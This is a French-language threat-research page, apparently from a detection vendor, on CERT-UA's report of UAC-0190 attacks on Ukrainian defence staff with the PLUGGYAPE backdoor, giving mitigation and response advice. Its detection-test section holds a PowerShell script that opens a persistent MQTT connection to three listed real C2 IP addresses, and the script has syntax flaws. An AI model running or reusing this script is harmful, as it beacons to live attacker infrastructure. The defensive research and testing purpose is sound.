SOC Prime Bias: Critique

15 Jan 2026 19:13

« Fonds Peu Fiables » : Cyberattaques ciblées UAC-0190 contre les Forces de Défense Ukrainiennes utilisant PLUGGYAPE

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Suivre
« Fonds Peu Fiables » : Cyberattaques ciblées UAC-0190 contre les Forces de Défense Ukrainiennes utilisant PLUGGYAPE
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

CERT-UA a révélé une vague d’intrusions ciblées contre le personnel des Forces de Défense Ukrainiennes, les opérateurs se faisant passer pour des représentants de fonds caritatifs afin d’augmenter la confiance et d’encourager l’exécution. La campagne a déployé PLUGGYAPE, une porte dérobée personnalisée basée sur Python, livrée à travers des fichiers ‘document’ armés utilisant des doubles extensions trompeuses (par exemple, .docx.pif et .pdf.exe) pour se faire passer pour du contenu bénin. Une fois lancé, le malware établit un contrôle de commande via des canaux MQTT ou WebSocket, utilisant un mélange de domaines compromis et d’infrastructures basées sur des IP. CERT-UA a lié cette activité au cluster Void Blizzard (Laundry Bear).

Enquête

Lors de l’analyse, les intervenants ont recueilli plusieurs artefacts malveillants et ont confirmé que les charges utiles étaient des binaires Python emballés avec PyInstaller présentés comme des fichiers de type Office pour encourager l’exécution. La télémétrie réseau a montré un signalement via des courtiers MQTT et des sessions WebSocket vers des points de terminaison contrôlés par l’attaquant, avec certaines adresses de serveurs fournies indirectement—intégrées sous forme de chaînes Base64 et récupérées depuis des services d’hébergement de type paste. Les opérateurs ont maintenu une persistance en créant une entrée de registre Run. Les indicateurs d’infrastructure ont été corroborés par des références trouvées sur des plateformes de type paste (y compris Pastebin et rentry) et plusieurs domaines à thème caritatif utilisés dans la chaîne d’appât.

Atténuation

Considérer les fichiers ‘document’ non sollicités reçus via des messageries comme présentant un risque élevé, en particulier les pièces jointes utilisant des doubles extensions ou des modèles de dissimulation d’exécutables. Mettre en œuvre un liste de permissions d’applications et empêcher explicitement l’exécution des binaires emballés avec PyInstaller autant que possible. Surveiller les modifications aux emplacements de persistance courants, en particulier les modifications de clé Run. Au niveau réseau, bloquer ou contrôler strictement la connectivité sortante vers les domaines malveillants connus et restreindre la sortie vers les ports de courtiers MQTT associés au commandement et au contrôle de la campagne.

Réponse

Intégrer les IOCs publiés dans les outils SIEM/EDR et rechercher de manière proactive des artefacts PLUGGYAPE sur les points de terminaison, en priorisant les systèmes utilisés par les personnels ciblés. Isoler tout hôte suspecté et préserver les preuves sur le point de terminaison et le réseau pour déterminer l’étendue. Examiner la persistance dans le registre—en particulier les entrées Run—et analyser les journaux réseau pour détecter les modèles de trafic MQTT/WebSocket anormaux. Escalader via la réponse aux incidents et les canaux d’application de la loi en utilisant les voies de contact officielles fournies par CERT-UA.

« graph TB %% Class Definitions classDef technique fill:#ffcc99 classDef malware fill:#ff9999 classDef builtin fill:#cccccc %% Nodes initial_access[« <b>Technique</b> – <b>T1659 Injection de Contenu</b><br /><b>Description</b>: Injecter des fichiers malveillants via des plateformes de messagerie »] class initial_access technique malicious_file[« <b>Fichier</b> – Documents malveillants<br /><b>Exemples</b>: .docx.pif, .pdf.exe, charge utile obfusquée »] class malicious_file builtin user_execution[« <b>Technique</b> – <b>T1204.002 Exécution par l’Utilisateur</b><br /><b>Description</b>: La victime ouvre le fichier malveillant »] class user_execution technique malware[« <b>Malware</b> – Porte dérobée Python compilée avec PyInstaller<br /><b>Caractéristiques</b>: Charge utile intégrée, utilise WebSocket et MQTT »] class malware malware persistence[« <b>Technique</b> – <b>T1547.014 Clés de registre Run / Dossier de démarrage</b><br /><b>Description</b>: Ajoute une clé Run pour auto démarrer à l’ouverture de session »] class persistence technique discovery[« <b>Technique</b> – <b>T1082 Découverte d’Informations Système</b><br /><b>Description</b>: Récupère des détails sur le système d’exploitation et des identifiants matériels »] class discovery technique command_and_control[« <b>Technique</b> – <b>T1071.001 Protocoles Web</b> et <b>T1102.002 MQTT</b><br /><b>Description</b>: Communique via WebSocket et MQTT, utilise des URL encodées en Base64 »] class command_and_control technique defense_evasion[« <b>Technique</b> – <b>T1036.008 Déguisement</b>, <b>T1027.009 Fichiers Obfusqués</b>, <b>T1497.002 Évasion de Virtualisation/Sandbox</b><br /><b>Description</b>: Cache les binaires et vérifie les environnements d’analyse »] class defense_evasion technique exfiltration[« <b>Technique</b> – <b>T1011 Exfiltration via un autre support réseau</b><br /><b>Description</b>: Envoie des données collectées via le même canal C2 »] class exfiltration technique %% Connections initial_access u002du002d>|delivers| malicious_file malicious_file u002du002d>|opened by victim| user_execution user_execution u002du002d>|executes| malware malware u002du002d>|creates| persistence malware u002du002d>|gathers| discovery malware u002du002d>|connects to| command_and_control malware u002du002d>|employs| defense_evasion malware u002du002d>|exfiltrates via| exfiltration « 

Flux d’Attaque

Exécution de la Simulation

Prérequis : La Vérification Prévol du Télémetrie & Baseline doit être réussie.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et vise à générer la télémétrie exacte attendue par la logique de détection.

  • Narratif d’Attaque & Commandes :

    1. Objectif : Établir un canal C2 avec l’infrastructure PLUGGYAPE en utilisant le protocole MQTT, imitant un dispositif IoT typique qui rapporte silencieusement des données.
    2. Étape par étape :
      • L’attaquant dépose un script PowerShell qui charge la bibliothèque MQTTnet .
      • Il crée un travail de fond persistant qui se connecte au courtier MQTT malveillant (l’une des trois IP intégrées) sur le port MQTT standard (1883).
      • Après avoir établi la session TCP, il envoie un paquet MQTT CONNECT minimal suivi d’une PUBLISH périodique avec des données de commande encodées.
      • Toute activité réseau est effectuée sous le contexte d’un compte de service légitime pour se fondre dans le trafic normal.
  • Script de Test de Régression :

    # Simulation de PLUGGYAPE C2 – MQTT sur Windows
    # Nécessite MQTTnet (installé via PowerShell Gallery)
    # ---------------------------------------------------------
    # 1. Installer MQTTnet si manquant
    if (-not (Get-Module -ListAvailable -Name MQTTnet)) {
        Install-Module -Name MQTTnet -Scope CurrentUser -Force
    }
    
    # 2. Définir les points d'extrémité C2 malveillants
    $c2IPs = @('193.23.216.39','108.165.164.155','176.9.23.216')
    $c2Port = 1883
    
    # 3. Choisir aléatoirement un serveur C2 pour simuler une sélection réaliste
    $targetIP = $c2IPs | Get-Random
    
    # 4. Construire le client MQTT
    $factory = New-Object MQTTnet.MqttFactory
    $client  = $factory.CreateMqttClient()
    $options = [MQTTnet.Client.MqttClientOptionsBuilder]::new()
                 .WithTcpServer($targetIP, $c2Port)
                 .WithClientId(([guid]::NewGuid()).Guid)
                 .Build()
    
    # 5. Connectez-vous et commencez à publier dans un travail en arrière-plan
    $scriptBlock = {
        param($client,$options)
        try {
            $client.ConnectAsync($options).GetAwaiter().GetResult()
            Write-Host "Connecté à PLUGGYAPE C2 à $($options.ChannelOptions.Server)`
    
            # Envoyer une publication keep‑alive simple toutes les 30 secondes
            while ($true) {
                $msg = [MQTTnet.MqttApplicationMessageBuilder]::new()
                           .WithTopic('data/heartbeat')
                           .WithPayload('alive')
                           .WithExactlyOnceQoS()
                           .Build()
                $client.PublishAsync($msg).GetAwaiter().GetResult()
                Start-Sleep -Seconds 30
            }
        } catch {
            Write-Error "Connexion C2 échouée: $_"
        } finally {
            $client.DisconnectAsync() | Out-Null
        }
    }
    
    # Lancer le travail (s'exécute en arrière-plan)
    $job = Start-Job -ScriptBlock $scriptBlock -ArgumentList $client,$options
    Write-Host "Travail de simulation PLUGGYAPE C2 démarré (JobId=$($job.Id))."
  • Commandes de Nettoyage :

    # Arrêter le travail en arrière-plan et s'assurer que le client MQTT se déconnecte
    Get-Job | Where-Object {$_.State -eq 'Running'} | Stop-Job -Force
    Get-Job | Where-Object {$_.State -eq 'Running'} | Remove-Job -Force
    Write-Host "Simulation PLUGGYAPE C2 arrêtée et nettoyage complet."